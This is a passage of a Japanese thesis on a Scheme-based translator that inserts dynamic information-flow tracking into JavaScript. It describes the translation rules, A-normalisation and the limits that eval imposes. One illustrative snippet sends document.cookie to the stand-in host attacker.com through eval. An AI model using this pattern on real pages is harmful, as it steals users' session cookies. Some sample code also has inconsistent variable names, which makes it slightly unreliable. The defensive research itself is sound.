することができる。図 4.2に変換前の Schemeプログラム例を示し、図 4.3に図 4.2のプ
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　　　　　 (+ (+ 1 2) (let ((a 1)) (- 5 a)))

図 4.2 変換前の Schemeプログラム例

　　　　　 (let ((t1 (+ 1 2)))

　　　　　　 (let ((a 1))

　　　　　　　 (let ((t2 (- 5 a)))

　　　　　　　　　 (+ t1 t2))))

図 4.3 図 4.1を A 正規化した Schemeプログラム例

ログラムを A 正規化した Schemeプログラム例を示す。図 4.3は図 4.2の (+ 1 2) と

(let ((a 1)) (- 5 a)) をそれぞれ一時変数 t1,t2 に割り当て、最後にこの 2つ

の変数を加算する式に変換することで、複雑な式で表現された図 4.2を単純な式に書き換

えている。このようなプログラムの単純化を行うことで、コンパイラなどの変換器が行う

プログラムの最適化が容易になる。その一例として、Cormac Flanaganらはプログラムを

A 正規化することで、CPSコンパイラが段階的に行う複数の変換を、一度にまとめて直接

変換するコンパイラの実装が可能であることを証明している [7]。

本研究では、関数呼び出しの引数を評価されるにあたって行われるラベリングを表現す

るコードを出力するために、JavaScriptコードに動的情報流解析を埋め込む前に A 正規化

を行う。

4.3 プログラム変換

本研究では JavaScriptプログラムを Austinらの動的情報流解析を行うコードを埋め込

んだプログラムに変換する。プログラムカウンタに付加されるラベル pcはグローバル変

数__pc で表現する。主要なWebブラウザに実装されている JavaScript処理系は、値に

直接ラベルを付加させることはできないので、⟨変数名 ⟩__lab に値のラベルを格納する

ように設計した。また、Austinらの動的情報流解析で導入されるラベルは LとH の 2種

類であるため、本研究では、以下の様にラベル Lを 0、ラベル H の値を 1以上の数値で

表現し、ラベルの結合を JavaScriptの加算演算子で行うことで、ULSと等価なラベリング

を JavaScript上で実現する。

L = 0

H ≥ 1
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本節では 4.1.2で述べた評価規則と等価なラベリングを JavaScriptで表現するために、変

換器が出力する JavaScriptコードの設計について述べる。

4.3.1 変換例 1

JavaScriptにおける評価規則 CONSTと評価規則 NEWの変換コード

JavaScriptでは定数などの値に直接ラベルを付加させることは不可能である。従って，

変数に値 v が代入される場合、定数のラベルを格納する変数 ⟨ 変数名 ⟩_lab を用意し、

そこへ値のラベルを格納するように設計した。また、new演算子が使用されるコードを

変換する場合、オブジェクトの本体のラベルをオブジェクトのプロパティとして管理し、

{} label を{label: label}と表現するようにした。

JavaScriptにおける評価規則 VAR の変換コード

4.1で述べたように、評価規則 VAR はグローバルオブジェクト、スコープオブジェク

ト、this を評価する場合のみ適用され、そのポインタとラベルが返される評価規則であ

る。this のポインタのラベルは変数 this_lab で表現した。いずれのオブジェクトに

おいても、ポインタのラベルと pcを結合するのみであるので、評価規則 SETまたは評価

規則 GETの評価過程において評価規則 VAR が適用される場合、k=⟨ オブジェクトのポ
インタのラベル ⟩+__pc と出力するように設計した。

スコープオブジェクトとグローバルオブジェクト

関数呼び出しにおいてスコープオブジェクトが生成される場合においても、オブジェ

クトの本体とポインタに対しても評価規則 NEWに従ったラベリングを行う必要がある。

そこで、本研究ではスコープオブジェクトのポインタのラベルを管理するローカル変数

_scope_plab を導入し、スコープオブジェクトの本体のラベルについては、ローカル変

数_scope_label を導入した。これらの変数は関数本体の冒頭において__pc の値が代

入される。グローバルオブジェクトもスコープオブジェクトの場合と同様に、グローバル

変数 globalObj_plab と globalObj_label を導入し、プログラムの冒頭で宣言す

るようにした。評価規則 VAR、評価規則 GET、評価規則 SETによってスコープオブジェ

クトまたはグローバルオブジェクトの本体とポインタのラベルを取得するにあたって、こ

れらの変数を使用することで、Austinらの動的情報流解析と等価なラベリングを行うコー

ドを出力する。
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JavaScriptにおける評価規則 BINOPの変換コード

Austinの動的情報流解析では、演算子に関係なく、定数 c、d のラベルが結合される

ので、⟨ 変数名 ⟩_lab に式 e1 が評価された時に返される定数のラベルを格納する変数

c_lab と式 e2 が評価された時に返される定数のラベルを格納する変数 d_lab を加算し

た値を代入することで、演算結果のラベルの結合を表現する。

JavaScriptにおける評価規則 SETの変換コード

本研究では評価規則 SETにおける e1 の評価結果のラベル k はオブジェクトのポイン

タのラベルであるので、ポインタのラベルを表す変数 k に代入するの値をオブジェクト

のポインタのラベルの代入で表現した。e2 の評価結果のラベル l は、必ず pc となるの

で、本研究ではプロパティ名 (文字列) のラベル l に代入する値を__pc と表現するよう

にした。また、右辺の式 e3 の中身は e3 に記述されている式をコード変換しないと分から

ないので、e3 の評価結果を格納する変数 v を用意した。また、SETにおける label(R, s)

は変数 s に値が格納されている場合と格納されていない場合で取得されるラベルが異な

るが、コード変換の段階では変数に値が格納されているか判別することは不可能であるの

で、JavaScript実行時に変数に値が格納されているか判別する if 文を挿入するように設

計した。更に、k ⊑ label(R)と l ⊑ label(R, s)の規則を満たさない場合、実行が中止さ

れる前提条件を表現するため、if 文を用いて未定義の関数 javascript_die(); を実

行し、エラーを返すことで JavaScriptの実行を中止するコードを出力するようにした。

以下に評価規則 CONST、評価規則 NEW、評価規則 VAR、評価規則 BINOP、評価規則

SETが適用されるにあたって、変換器が出力する変換コード例を示す。このコード例では

x1 と x3 はいずれも同じスコープオブジェクトのローカル変数であると仮定している。

　　　　　// 変換前

　　　　　 x1=1;

　　　　　 this.x2=new Object();

　　　　　 x3=1+2;

　　　　　↓

　　　　　// 変換後

　　　　　//( ここから評価規則 SET:_scope_.x1=1)

　　　　　 var k=_scope_plab_1+__pc; // 評価規則 VAR:_scope_

　　　　　 var l=__pc;
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　　　　　// ここから (評価規則 CONST:1)

　　　　　 var v=1;

　　　　　 var v_lab=__pc;

　　　　　// ここまで (評価規則 CONST:1)

　　　　　 if(k>_scope_label_1 && _scope_label_1==0)

　　　　　　　 javascript_die();

　　　　　 if(x1!=undefined){

　　　　　　　 if(l>x1_lab && x1_lab==0)

　　　　　　　　　 javascript_die();

　　　　　}else{

　　　　　　　 if(l>_scope_label_1 && _scope_label_1==0)

　　　　　　　　　 javascript_die();

　　　　　}

　　　　　 x1=v;

　　　　　 x1_lab=v_lab+l;

　　　　　// ここまで (評価規則 SET:_scope_.x1=1)

　　　　　// ここから (評価規則 SET:this.x2=new Object())

　　　　　 var k=this_lab+__pc; 　　　　　// 評価規則 VAR:this

　　　　　 var l=__pc;

　　　　　// ここから (評価規則 NEW:new Object())

　　　　　 var v=new Object();

　　　　　 var v_lab=__pc;

　　　　　 v.label=__pc;

　　　　　// ここまで (評価規則 NEW:new Object())

　　　　　 if(k>this.label && this.label==0)

　　　　　　　 javascript_die();

　　　　　 if(x2!=undefined){

　　　　　　　 if(l>x2_lab && x2_lab==0)

　　　　　　　　　 javascript_die();

　　　　　}else{

　　　　　　　 if(l>this.label && this.label==0)

　　　　　　　　　 javascript_die();

　　　　　}

　　　　　 x2=v;

　　　　　 x2_lab=v_lab+l;
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　　　　　// ここまで (評価規則 SET:this.x2=new Object();)

　　　　　// ここから (評価規則 SET:_scope_.x3=1+2)

　　　　　 var k=_scope_plab_1+__pc; 　　// 評価規則 VAR:_scope_

　　　　　 var l=__pc;

　　　　　// ここから (評価規則 BINOP:1+2)

　　　　　// ここから (評価規則 CONST:1)

　　　　　 var c=1;

　　　　　 var c_lab=__pc;

　　　　　// ここまで (評価規則 CONST:1)

　　　　　// ここから (評価規則 CONST:2)

　　　　　 var d=2;

　　　　　 var d_lab=__pc;

　　　　　// ここまで (評価規則 CONST:2)

　　　　　 var v=c+d;

　　　　　 var v_lab=c_lab+d_lab;

　　　　　// ここまで (評価規則 BINOP:1+2)

　　　　　 if(k>_scope_label_1 && _scope_label_1==0)

　　　　　　　 javascript_die();

　　　　　 if(x3!=undefined){

　　　　　　　 if(l>x3_lab && x3_lab==0)

　　　　　　　　　 javascript_die();

　　　　　}else{

　　　　　　　 if(l>_scope_label_1 && _scope_label_1==0)

　　　　　　　　　 javascript_die();

　　　　　}

　　　　　 x3=v;

　　　　　 x3_lab=v_lab+l;

　　　　　// ここまで (評価規則 SET:_scope_.x3=1+2)

4.3.2 変換例 2

評価規則 GET

Austinの動的情報流解析は、オブジェクトにプロパティが存在している場合評価規則

GET-DIRECTが適用され、存在しない場合、オブジェクトの__proto__ が指し示すオ
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ブジェクトにプロパティが存在していないか探索する評価規則 GET-PARENTが適用され

る。グローバルオブジェクトとスコープオブジェクトに指定したプロパティ s が存在し

ているかどうかは、コンパイラで判断することができるが、任意のオブジェクト oの中に

指定したプロパティ s が存在しているかどうかは、実行時にならないと判別することは

できない。従って、コード変換の段階では任意のオブジェクト oに指定したプロパティ s

が存在するか探索できないので、この場合、JavaScript実行時に指定したプロパティ sが

任意のオブジェクト oに存在するかを hasOwnProperty メソッドを用いて確認し、存

在するなら評価規則 GET-DIRECTに従ったラベリングを行い、存在しないなら評価規則

GET-PARENTに従ったラベリングを行うコードを出力するように表現した。しかし、本

研究で実装した変換器が実際に出力するコードは、一度しかプロトタイプチェーンを辿る

ことしかできず、__proto__ が指すオブジェクトのラベルの取得も不完全であるため、

現段階では評価規則 GET-PARENTを完全に実装していない。これは今後の課題の一つと

して挙げられる。また、オブジェクトに指定したプロパティが存在せず、なおかつそのオ

ブジェクトに__proto__ が存在しない場合、評価規則 GET-UNDEFINEDが適用され、

定数 undefined が返される。また、本研究では評価規則 GET-UNDEFINEDが適用さ

れる条件が成立する場合においても、評価規則 GET-DIRECTか評価規則 GET-PARENT

が適用され、オブジェクトに存在しないプロパティをそのまま評価するため、エラーが返

される。

評価規則 APP

関数呼び出しでは引数の値を格納する変数が存在しない。そこで、引数の値とラベルを

保持する変数 (v と v_lab )に引数の評価結果を格納するように設計した。しかし、関数

の仮引数は変数 v の値のみ受け取るため、ポインタのラベルが格納された変数 v_lab を

呼び出された関数へ伝播させることができない。そこで、本研究では引数のラベルを格納

するグローバル変数 tmp_lab を導入し、関数の本体でローカル変数 ⟨引数名 ⟩_lab に

tmp_lab の値を代入するようにした。また、this のラベルを伝播するため、関数オブ

ジェクトのオブジェクトのポインタのラベルをグローバル変数 tmpthis_lab に代入す

ることで、呼び出し先の関数のスコープに、関数オブジェクトの this のラベルの伝播を

表現している。同様に、引数のラベル v_lab をグローバル変数 tmp_lab に代入するこ

とで、引数のラベルの伝播を表現している。更に、関数呼び出しを実行するにあたって付

随される pcは、関数オブジェクトのラベル ⟨関数名 ⟩_lab であるが、関数の実行が終了

した後の pcは関数呼び出し前の__pc である。従って、このような pcの操作を表現する

ため、関数呼び出しを行う前に、__pc の値を tmppc に代入してから、__pc に条件式

のラベルを代入することで、__pc の値を保持し、関数の実行が終了した後に__pc の値
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を戻すようにした。

以下に評価規則 GETと評価規則 APPが適用されるにあたって、変換器が出力する変換

コード例を示す。

　　　　　// 変換前

　　　　　 func(y.x);

　　　　　↓

　　　　　// 変換後

　　　　　// ここから (評価規則 APP:_scope_.func(y.x))

　　　　　// ここから (評価規則 GET:_scope_.func)

　　　　　 var k=_scope_plab_1+__pc; 　　// 評価規則 VAR:_scope_

　　　　　 var l=__pc;

　　　　　 var f=func;

　　　　　 var f_lab=func_lab+k+l+_scope_label_1;

　　　　　// ここまで (評価規則 GET:func)

　　　　　// ここから (評価規則 GET:_scope_.y.x)

　　　　　// ここから (評価規則 GET:_scope_.y)

　　　　　 var k=_scope_plab_1+__pc; 　　// 評価規則 VAR:_scope_

　　　　　 var l=__pc;

　　　　　 var p=y;

　　　　　 var p_lab=y_lab+k+l+_scope_label_1;

　　　　　// ここまで (評価規則 GET:_scope_.y)

　　　　　 var k=p_lab;

　　　　　 var l=__pc;

　　　　　 if(y.hasOwnProperty("x")){

　　　　　　　 var v=y.x;

　　　　　　　 var v_lab=y.x_lab+k+l+y.label;

　　　　　}else{

　　　　　　　 var v=y.x

　　　　　　　 var v_lab=y.__proto___lab+y.__proto__.label+k+l+y.label;

　　　　　}

　　　　　// ここまで (評価規則 GET:_scope_.y.x)

　　　　　 tmp_lab=v_lab;

　　　　　 tmpthis_lab=_scope_plab_1;
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　　　　　 tmppc=__pc;

　　　　　__pc=func_lab;

　　　　　 func(v);

　　　　　__pc=tmppc;

　　　　　// ここまで (評価規則 APP:_scope_.func(y.x))

このコード例では y.x と func は同じスコープのローカル変数であり、このコードは

スコープオブジェクト内で記述されていると仮定している。JavaScriptでは f=func;

f(); のように関数オブジェクトを別の変数に代入し、その変数を用いて関数呼び出しを

実行することはできない。従って、関数呼び出しを行うにあたっては、GETによって取得

した関数オブジェクトが格納されている変数 f ではなく、変換前と同じ func を用いて

実行するコードを出力する。また、JavaScriptではグローバルオブジェクト、スコープオ

ブジェクト、this 以外のオブジェクトは全て、オブジェクトの中に存在するプロパティ

である。このコード例の変換後では、関数 func の引数 y.x もスコープオブジェクトの

プロパティであるので、正しくは_scope_["y"]["x"] である。従って、y.x を変換

するにあたって、最初に_scope_["y"] の評価を行う。オブジェクトを評価した場合、

返されるのはポインタとそのラベルなので、本研究では変数 p と p_lab に評価して得ら

れるポインタとそのラベルを格納し、(_scope_["y"])["x"] (e1 =_scope_["y"] 、

e2 =["x"] )の評価おいて、_scope_["y"] の評価で得た p_lab を変数 k に代入する

ことで、GETによって取得されるポインタのラベル k を表現した。

4.3.3 関数定義

JavaScriptでは関数定義が行われるにあたって、評価規則 FUNを適用する。以下に

FUNが適用されるにあたって変換器が出力する代入のコード例を示す。この変換後の

コードは関数定義によって生成されるコードのみを示しておりそれに関係しない変換コー

ドは省略している。JavaScriptでは関数呼び出しが実行されるにあたってスコープオブ

ジェクトが生成されるので、評価規則 NEWで述べたようにスコープオブジェクトのラベ

リングを行う必要がある。従って、変換器において評価規則 FUNが適用されるにあたっ

てそれと等価なラベリングを行うコードを出力するように表現した。また、JavaScriptで

はプロパティの値を取得するにあたって、スコープチェーンを辿るため、内側の関数オブ

ジェクトのスコープオブジェクトから外側の関数オブジェクトのスコープオブジェクトに

順次参照するが、現在の JavaScript処理系では、プログラム実行の高速化のためスコープ

チェーンを辿らず、指定したプロパティが存在する関数オブジェクトに直接参照し、プロ

パティの値を取り出すコードに最適化するコンパイラを実装している。Austinの動的情

報流解析においても、直接指定したプロパティを持つ関数オブジェクトのスコープにア
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クセスするため、本来辿られるスコープチェーン上の各スコープオブジェクトのラベル

を結合されない。従って、取得したプロパティのスコープオブジェクトのラベルが Lで、

辿ったスコープチェーン上にラベルが H のスコープオブジェクトがあった場合、Austin

の動的情報流解析では機密ラベルの伝播が行われないため、機密情報の漏洩を検出できな

い。本研究では、スコープオブジェクトとそのポインタのラベルを本来スコープチェー

ン上で本来辿られる各スコープオブジェクトのラベルを結合するように設計した。また、

JavaScriptプログラム中の各関数オブジェクトはそれぞれ固有のスコープオブジェクトを

持つので、スコープオブジェクトとそのポインタのラベルをそれぞれ_scope_label_ x

と_scope_plab_ xと表現し、xの数値はスコープオブジェクトが生成されるたびに +1

加算することで、各関数オブジェクト用のスコープオブジェクトとそのポインタのラベ

ルを与えるようにした。また、評価規則 APPにも述べたように、関数呼び出しが行われ

るにあたって、this のポインタのラベルを取得する必要があるので、グローバル変数

tmpthis_lab をローカル変数 this_lab に代入し、this のポインタのラベルの伝播

を表現した。同様に引数のラベルを伝播するため、引数のラベルの値が格納されたグロー

バル変数 tmp_lab を、ローカル変数 x_lab に代入し、引数のラベルの伝播を行う。こ

れらのコードは全て関数ブロックの冒頭に出力する。以下に評価規則 FUNが適用される

にあたって、関数定義のコードの変換を示す。

　　　　　// 変換前

　　　　　 function f(x,y){t=function (a,b){}}

　　　　　↓

　　　　　// 変換後

　　　　　// ここから (評価規則 FUN:function f(x,y){t=function (a,b){}})

　　　　　 function f(x,y){

　　　　　　　 var _scope_plab_1=__pc;

　　　　　　　 var _scope_label_1=___pc;

　　　　　　　 var this_lab=tmpthis_lab;

　　　　　　　 var x_lab=tmp_lab_0;

　　　　　　　 var y_lab=tmp_lab_1;

　　　　　// ここから (評価規則 FUN:t=function (a,b){})

　　　　　　　 t=function (a,b){

　　　　　　　　　 var _scope_plab_2=__pc;

　　　　　　　　　 var _scope_label_2=___pc;

　　　　　　　　　 var this_lab=tmpthis_lab;

　　　　　　　　　 var a_lab=tmp_lab_0;
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　　　　　　　　　 var b_lab=tmp_lab_1;

　　　　　　　}

　　　　　　　 t_lab=__pc;

　　　　　// ここまで (評価規則 FUN:t=function (a,b){})

　　　　　}

　　　　　 f_lab=__pc;

　　　　　// ここまで (評価規則 FUN:function f(x,y){t=function (a,b){}})

この変換後のコードでは、変数 t への代入式において適用される SETの変換コードは省

略している。変換後に示されるように、関数の引数は 2つ以上である場合もあるので、変

換器が実際に出力する引数のラベルを管理するグローバル変数名は tmp_lab_ xとなる。

この変換コード例の function 式は空であるが、もしこの本体の中に function 式の外

側に存在するローカル変数 x、y を参照しGETが適用された場合、変換器は x、y のスコー

プオブジェクトとそのポインタのラベルである_scope_label_1 と_scope_plab_1

を取得する。これにより、同じローカル変数であっても、各変数が格納されているスコー

プオブジェクトとそのポインタのラベルを正しく取り出すことができる。

ネストした関数呼び出し

JavaScriptは複数の部分式を一つの文で表現することができる。本研究では、JavaScript

コードの式のラベリングを複数の文にして表現している。従って、一つの式の中に部分式

がネストされている式を評価する場合、各部分式の値とラベルを格納する一時変数を導入

する必要があるので、JavaScriptプログラムに動的情報流解析を行うコードを埋め込む前

にプログラムの A 正規化を行う必要がある。一時変数 t_ xには評価規則 GETおよび評

価規則 SETは適用されないため、プログラム中で参照・代入された場合、値とラベルの

伝播のみを行う。以下にその例として、ネストした関数呼び出しのコードの変換を示す。

　　　　　// 変換前

　　　　　 f1(f2());

　　　　　↓

　　　　　//A 正規化

　　　　　 var t1=f2() , f1(t1);

　　　　　↓

　　　　　// 変換後 (動的情報流解析)

　　　　　// ここから (t1=_scope_.f2())

　　　　　// ここから (評価規則 APP:_scope_.f2())
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　　　　　// ここから (評価規則 GET:_scope.f2)

　　　　　 var k = __pc + globalObj_plab; 　　// 評価規則VAR:globalObj

　　　　　 var l = __pc;

　　　　　 var f = f2;

　　　　　 var f_lab = f2_lab + globalObj_label + k + l;

　　　　　// ここまで (評価規則 GET:_scope_,f2)

　　　　　 var tmppc = __pc;

　　　　　__pc = f_lab;

　　　　　 tmpthis_lab = globalObj_plab;

　　　　　 v = f2();

　　　　　 v_lab = tmplab;

　　　　　__pc = tmppc;

　　　　　// ここまで (評価規則 APP:_scope_.f2())

　　　　　 t1 = __v;

　　　　　 t1_lab = v_lab;

　　　　　// ここまで (t1=_scope_.f2())

　　　　　// ここから (評価規則 APP:_scope_.f1(t1))

　　　　　// ここから (評価規則 GET:_scope_.f1)

　　　　　 var k = __pc + globalObj_plab; 　　// 評価規則VAR:globalObj

　　　　　 var l = __pc;

　　　　　 var f = f1;

　　　　　 var f_lab = f1_lab + globalObj_label + k + l;

　　　　　// ここまで (評価規則 GET:_scope_.f1)

　　　　　// ここから (t1)

　　　　　 var v = t1;

　　　　　 var v_lab = t1_lab;

　　　　　// ここまで (t1)

　　　　　 var tmppc = __pc;

　　　　　__pc = __f_lab;

　　　　　__tmplab = v_lab;

　　　　　 tmpthis_lab = globalObj_plab;

　　　　　 f1(v);

　　　　　__pc = tmppc;

　　　　　// ここまで (評価規則 APP:_scope_.f1(t1))
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このコード例における関数 f1 、f2 はグローバル関数と仮定している。このコード例で

は、変換前の関数呼び出し f1(f2()) を関数呼び出し f2() の評価結果を一時変数 t1 、

t1_lab に格納し、関数 f1 の引数として与えるコードに A 正規化し、動的情報流解析を

行うコードを埋め込んでいる。

4.3.4 if文

JavaScriptには Featherweight JavaScriptのような if 式は導入されておらず、then 部

と else 部が statementである if 文が導入されている。従って、本研究における if 文

の変換規則は、if 式における e2、e3 を statementとみなした評価規則 THENと評価規

則 ELSEを適用した。以下に変換器が出力する if 文の変換コードを示す。

　　　　　// 変換前

　　　　　 if(t)

　　　　　　　 return 1;

　　　　　 else

　　　　　　　 return 2;

　　　　　↓

　　　　　// 変換後

　　　　　 var boolean=t;

　　　　　 var boolean_lab=t_lab;

　　　　　 var tmppc=__pc;

　　　　　__pc=boolean_lab;

　　　　　 if(boolean){

　　　　　　　 var __return=1;

　　　　　　　 var __return_lab=__pc;

　　　　　　　 tmp_lab=__return_lab;

　　　　　　　 return __return;

　　　　　}else{

　　　　　　　 var __return=2;

　　　　　　　 var __return_lab=__pc;

　　　　　　　 tmp_lab=__return_lab;

　　　　　　　 return __return;

　　　　　}

　　　　　__pc=tmppc;
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この変換後のコードは、評価規則 THENと評価規則 ELSEによって生成されるコードや、

評価規則 THENと評価規則 ELSEによって生じたラベルの伝播の説明に必要なコードの

みを示しており、それに関係のない変数 t の評価は省略している。then 節または else

節が評価される時の pcは、e1 評価時に返されるラベル k であるが、if 文の実行が終了

した後の pcは if 文実行前の pcである。従って、このような pcの操作を表現するため、

評価規則 APPで述べた設計と同様に、__pc の値を保持する変数 tmppc を導入し、if

文の前後で__pc の値を操作し、評価規則 THENと評価規則 ELSEに従ったラベリング

が行われるように設計した。

return文について

return 文は値を 1つしか受け取らないため、値のラベルを伝播させることができな

い。そこで、本研究では関数呼び出しの引数の設計と同様に、グローバル変数 tmp_lab

を導入し、return 文を実行する前に値のラベルを代入するようにした。代入式におい

て関数呼び出しの結果の値を受け取る場合、右辺の式の返値のラベルを取得するため、

tmp_lab が使用される。

また、本研究では Austinの動的情報流解析において定義されていないステートメント、

switch 文や for 、while などのループ文、更には try/catch/finally の設計は

行っていない。従って、これらのコードはそれと等価な処理を行う if 文や関数呼び出し

に書き換える必要がある。これらのステートメントに対する変換コードの設計は今後の課

題の一つして挙げられる。

4.4 関数 eval

JavaScriptには文字列または文字列を格納した変数を引数として受け取り、文字列を

JavaScriptコードとして動的に評価する関数 eval がある。しかし、関数 eval は変換

コードの設計において難解な問題を持つ。本節ではその問題点についてを述べる。

関数 eval は実行時に引数の評価を行い、動的にプロパティの値を書き換えることが可

能である。従って、実行前に JavaScriptプログラムを解析する変換器では、Austinらの動

的情報流解析が埋め込まれた JavaScriptコードを正しく出力することができない。以下に

そのプログラムの例を示す。

　　　　　 1: var x=document.cookie;

　　　　　 2: var y="’http://attacker.com/’+x";

　　　　　 3: document.location=eval(y);
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このプログラムは、攻撃者のサーバ http://attacker.com/ にWebブラウザが保持

するクッキーを送信するプログラムである。document.cookie のラベルは予めセキュ

リティラベルとして定義されているので、x のラベル (x_lab ) は必ず H となる。しか

し、y に代入される値は文字列定数であるため、y のラベル (y_lab ) は pc(__pc ) とな

る。3行目のコードは関数 eval の引数 y の文字列がどのような命令を実行する文である

かを JavaScriptコード実行時まで判別することができない。従って、本研究で実装した変

換器では、Austinらの動的情報流解析に従ったコードを出力することができない。

また、JavaScriptの関数 eval では引数の文字列中に var 宣言を入れることで、その関

数スコープ内におけるグローバル変数をローカル変数に書き換えることが可能である。以

下にそのプログラム例を示す。

　　　　　 1: var z=1;

　　　　　 2: function f(x){

　　　　　 3: document.write(z);

　　　　　 4: var y="var z=2";

　　　　　 5: eval(y);

　　　　　 6: document.write(z);

　　　　　 7: }

3行目を評価した場合、変数 z は関数 f の外にあるグローバル変数 z として評価される

ので、1 が出力される。しかし 6行目を評価した場合、5行目の関数 eval によって変数

z は関数 f の中のローカル変数として var 宣言されているため、ローカル変数の z がス

コープチェーンの先頭に配置され、2 が出力される。しかし変換器は関数 eval の評価結

果を予測することができないので、6行目では変数 z をグローバル変数と見なしてコード

変換を行ってしまい、誤った動的情報流解析を行うコードを出力してしまう。

本研究では関数 eval が持つ特有の問題点を述べたが、これらの問題を解決する設計は

成されていない。関数 eval に対する変換コードの設計と実装は今後の課題の一つとし

て挙げられる。
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第 5章

実装

本章では前節で設計したソースコード変換器の実装法について述べる。実装言語は

Scheme [10]であり、処理系は R5RS準拠の Scheme処理系である Gauche [5]を用いた。

本研究では変換前の JavaScriptプログラムを S式のリストで表現されたコードに変換す

る。そして、S式 JavaScriptプログラムの構文解析を行い、4章で定義した設計に従った

プログラム変換を行う。

本研究では JavaScriptコードを図 5.1に示す変換器を用いて、動的情報流解析を埋め込

んだ JavaScriptコードに変換する。変換器は図 5.1で示されている 5つのプログラムに

よって構成されており、js2、a-norm.lsp、symtab.lsp、ifa.lsp、ast2js.lspの順にプログラム

変換を行うことで、Universal Labeling Semantics(ULS)の評価規則通りにプログラムの情

報流を追跡するプログラムが出力される。本節では変換器の各プログラムについて説明

する。

5.1 S式 JavaScript変換器:js2s

js2sは小宮研究室が提供するプログラム変換器である [8]。JavaScriptプログラムで書か

れたソースコードを Schemeのリスト構造と同様の抽象構文木で表現した S式 JavaScript

図 5.1 本研究の変換器の構成
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プログラムに変換することで、Scheme言語処理系で構文解析とソースコード変換を容

易に行えるようになる。以下に S式 JavaScriptの構文規則を示す。非終端記号 Expr は

ECMA-262 [4]の構文規則における AssignmentExpressionに相当する。

Expression :

Expr

(exp seqExpr+) ;コンマ演算子式

Expr :

Identifier

NumberLiteral

StringLiteral

this

null

true

false

(BinaryOperator Expr Expr)

(UnaryOperator Expr)

(? Expr Expr Expr)

(fcall Expr Expr∗)

(newExpr Expr∗)

(relit StringLiteral) ;正規表現リテラル

(arraylit (Expr | #f)∗ ) ;配列リテラル

(objlit (Expr Expr)∗) ;オブジェクトリテラル

(exp seqExpr) ; (Expression)

(dot (Expr Identifier)

(arrayrefExpr Expression) ;配列の要素あるいはプロパティへのアクセス

; decled-varsは symtab.lspで使用

(functionIdentifieropt (Identifier∗) decled-vars SourceElementsopt)

BinaryOperator : one of

= * = /= %= += -= <<= >>= >>>= &= ˆ= |=

|| && | ˆ & == != < > <= >= + - * / %

<< >> >>> === !== instanceof in
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UnaryOperator : one of

++ -- po_++ po_-- + - ˜ ! delete void typeof

Statement :

() ;空文

Block

(var (Identifier min (Identifier Expr))+)

(exp stmExpression) ;式文

(if Expression Statement Statementopt)

(doStatement (whileExpression))

(whileExpression Statement)

(for (Expression | #f) (Expression | #f) (Expression | #f) Statement)

; for (var ...; ...; ...) ...

(for var ((Identifier | (Identifier Expr))+) (Expression | #f) (Expression | #f)

Statement)

; for (... in ...) ...

(for in Expr Expression Statement)

; for (var ... in ...) ...

(for in var (Identifier | (Identifier Expr)) Expression Statement)

(continueIdentifieropt)

(breakIdentifieropt)

(returnExpressionopt)

(with Expression Statement)

(labelIdentifier) Statement ;ラベル付き文

(switchExpression ((defaultStatementListopt) | (Expression StatementListopt))∗)

(throwExpression)

(try Block (catchIdentifier Block))

(try Block (finally Block))

(try Block (catchIdentifier Block) (finally Block))

Block :

(blockStatementListopt) ; ...

StatementList :

Statement+
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Program :

SourceElements

SourceElements :

SouceElement+

SourceElement:

Statement

; decled-varsは symtab.lspで使用

(functionIdentifier (Identifier∗) decled-vars SourceElementsopt)

しかし、本研究において実装したプログラム ifa.lspは js2sで用いられる構文規則の内、

for 文や while 文などには対応していないため、それらの構文は if 文や再帰呼び出し

などに書き換える必要がある。

5.2 A正規化変換器:a-norm.lsp

a-norm.lspは小宮研究室が提供するプログラム変換器である [8]。このプログラムは

S式 JavaScriptを A 正規化された S式 JavaScriptに変換する。A 正規化された S式

JavaScriptの構文規則は js2sによって変換された S式 JavaScriptの構文と同様である。図

5.2に A 正規化プログラム例を示す。このコードは関数 g(x,y) を関数 f の引数として

与え、関数呼び出しを行う。このコードを a-norm.lspに入力した場合、関数 g(x,y) の評

価結果を変数 t1 に格納し、変数 t1 を引数として関数 f を評価するコードに変換される。

ULSでは引数の評価を行う場合においてもラベリングが行われるので、S式 JavaScriptに

動的情報流解析を埋め込むプログラム ifa.lspが引数を評価するにあたって行われるラベリ

ングを表現するコードを出力するためにはプログラムを A 正規化する必要がある。従っ

て、ifa.lspに S式 JavaScriptプログラムを入力する前に A 正規化を行うことで、ifa.lspを

容易に実装できるようになる。

5.3 変数オブジェクト変換器:symtab.lsp

symtab.lspは小宮研究室共通インフラとして用意されているプログラム変換器である

[8]。このプログラムは S式 JavaScriptを変数オブジェクトを用いた S式 JavaScriptに変

換する。このプログラムによって埋め込まれる変数オブジェクトの情報は ifa.lspがプロ
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図 5.2 A正規化した S式 JavaScriptコードの例

　　　　　 (let ((func 0))

　　　　　 (set! * current-scope-lev * (+ * current-scope-lev * 1))

　　　　　 (set! func (t-function-declaration x))

　　　　　 (set! * current-scope-lev * (- * current-scope-lev * 1))

　　　　　 func))

図 5.3 関数定義文が呼び出されるにあたって行われる変数* current-scope-lev *の操作

グラム変換を行うにあたって使用する。js2s、a-norm.lspとは異なり symtab.lspはプログ

ラム中の変数を変数オブジェクトを用いて表現する。プログラム中の変数オブジェクトに

は、レキシカルレベルと with文の影響の情報が埋め込まれる。また、関数本体で宣言さ

れる変数の変数オブジェクトのリストを関数 (function )の構文の decled-varsによっ

て表現する。変数オブジェクトの構造を以下に示す。

　 ( * variable * <変数名>

　　　　　　　　<レキシカルレベル> ; 大域:0, 局所:1 ～

　　　　　　　　<with 文の影響> )

<レキシカルレベル>は変数がグローバル変数であるか、関数オブジェクトの

ローカル変数であるかを示す。symtab.lspにはレキシカルレベルを保持する変数

* current-scope-lev *が導入されている。この変数は図 5.3 に示されるように

symtab.lspが S式 JavaScriptプログラムの構文解析を行うにあたって、function 文ま

たは function 式のコード変換を行う関数が実行される度に +1加算され、実行が終了

すると-1減算される。* current-scope-lev *の初期値は 0(グローバル) である。図

中の t-function-declaration はプログラム中の関数定義文を変換する symtab.lsp

の関数である。symtab.lspはプログラム中の変数オブジェクトの<レキシカルレベル>に
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図 5.4 変数オブジェクトを用いた S式 JavaScriptコードの変換例

* current-scope-lev *の値を書き込むことで、各変数オブジェクトのレキシカルレ

ベルを埋め込む。この情報を用いて、ifa.lspは ULSの評価規則 GETまたは SETに従っ

たコード変換を行うにあたって、グローバルオブジェクトまたはスコープオブジェクトの

ラベルを取り出すコードを出力する。

次に、<with 文の影響>の値の種類を以下に示す。

• #f

with文の影響を受けていない変数であることを示す。

• ref-in-with

with文の本体で参照される変数であることを示す。

• decled-in-with

with文の本体で宣言される変数であることを示す。

